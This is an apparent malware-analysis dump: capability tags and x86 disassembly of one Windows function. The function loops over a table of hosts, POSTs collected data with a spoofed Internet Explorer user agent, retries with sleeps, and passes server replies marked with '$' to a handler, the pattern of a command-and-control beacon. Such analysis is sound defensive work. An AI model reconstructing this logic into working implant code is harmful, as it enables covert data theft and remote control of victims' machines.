Function at 0x402660
Capabilities:
Connect to http server
Create http request
Reference http user-agent string
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a0
mov dword [ebp - 0x1c], 0x80
mov eax, dword [ebp - 0x1c]
push eax
push 0
lea ecx, [ebp - 0xa0]
push ecx
call fcn.004017c0
add esp, 0xc
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0xa0]
push eax
push 0
call sub.urlmon.dll_ObtainUserAgentString
mov ecx, 1
imul edx, ecx, 0
movsx eax, byte [ebp + edx - 0xa0]
test eax, eax
jne 0x4026bd
push str.Mozilla_4.0_compatible__MSIE_7.0b__Windows_NT_6.0_
lea ecx, [ebp - 0xa0]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
push 0
push 0
lea edx, [ebp - 0xa0]
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [0x408c94], eax
cmp dword [0x408c94], 0
jne 0x4026ed
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4026bd
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0xc], 0
mov eax, 1
test eax, eax
je 0x402943
mov ecx, dword [ebp - 4]
cmp dword [ecx*4 + 0x406e78], 0
jne 0x402737
mov dword [ebp - 4], 0
mov edx, dword [0x408c34]
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 3
push 0
push 0
push 0x50
mov eax, dword [ebp - 4]
mov ecx, dword [eax*4 + 0x406e78]
push ecx
mov edx, dword [0x408c94]
push edx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x402776
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
jmp 0x402709
push 0
push 0x84200000
push 0
push 0
push 0
mov ecx, dword [ebp - 4]
mov edx, dword [ecx*4 + 0x406e9c]
push edx
push str.POST
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x4027c5
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov dword [ebp - 8], 0
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x402709
cmp dword [ebp - 0x20], 1
jne 0x4027e4
cmp dword [ebp - 0xc], 0
jne 0x4027e2
push 0
call fcn.00401b30
add esp, 4
mov dword [ebp - 0xc], 1
jmp 0x4027fb
cmp dword [ebp - 0xc], 0
jne 0x4027fb
push 1
call fcn.00401b30
add esp, 4
mov dword [ebp - 0xc], 1
mov eax, dword [0x408c88]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [0x408c88]
push ecx
push 0xffffffffffffffff
push str.Content_Type:application_x_www_form_urlencoded
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
jne 0x4028e8
push 0xff
push 0
lea eax, [ebp - 0x1a0]
push eax
call fcn.004017c0
add esp, 0xc
mov ecx, dword [ebp - 4]
mov edx, dword [ecx*4 + 0x406e78]
push edx
push str.http:___s
lea eax, [ebp - 0x1a0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0xff
push 0
lea ecx, [ebp - 0x2a0]
push ecx
call fcn.004017c0
add esp, 0xc
lea edx, [ebp - 0x2a0]
push edx
lea eax, [ebp - 0x1a0]
push eax
call fcn.00402540
add esp, 8
cmp eax, 1
jne 0x4028e1
lea ecx, [ebp - 0x2a0]
mov dword [ebp - 0x10], ecx
push 0x406dd0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
movsx eax, byte [edx]
cmp eax, 0x24
jne 0x4028d8
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.004050c0
add esp, 4
mov dword [ebp - 8], 1
mov dword [ebp - 0x20], 1
mov dword [ebp - 0xc], 0
jmp 0x4028df
mov dword [ebp - 8], 0
jmp 0x4028e8
mov dword [ebp - 8], 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp - 8], 0
jne 0x40290d
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
jmp 0x40293e
mov edx, dword [0x408c88]
push edx
push 8
mov eax, dword [0x408c2c]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [0x408c1c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0xffffffffffffffff
mov edx, dword [0x408c18]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x402709
mov esp, ebp
pop ebp
ret